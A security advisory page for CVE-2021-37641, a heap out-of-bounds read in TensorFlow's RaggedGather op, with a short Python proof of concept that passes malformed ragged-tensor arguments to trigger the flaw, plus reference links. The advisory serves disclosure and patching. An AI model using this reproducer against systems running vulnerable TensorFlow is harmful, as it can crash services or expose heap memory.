CVE-2021-37641: Heap OOB in `RaggedGather`
(updated )
If the arguments to tf.raw_ops.RaggedGather don’t determine a valid ragged tensor code can trigger a read from outside of bounds of heap allocated buffers.
import tensorflow as tf
tf.raw_ops.RaggedGather(
params_nested_splits = [0,0,0],
params_dense_values = [1,1],
indices = [0,0,9,0,0],
OUTPUT_RAGGED_RANK=0)
In debug mode, the same code triggers a CHECK failure.
References
- github.com/advisories/GHSA-9c8h-vvrj-w2p8
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-554.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-752.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-263.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/a2b743f6017d7b97af1fe49087ae15f0ac634373
- github.com/tensorflow/tensorflow/security/advisories/GHSA-9c8h-vvrj-w2p8
- nvd.nist.gov/vuln/detail/CVE-2021-37641
Code Behaviors & Features
Detect and mitigate CVE-2021-37641 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →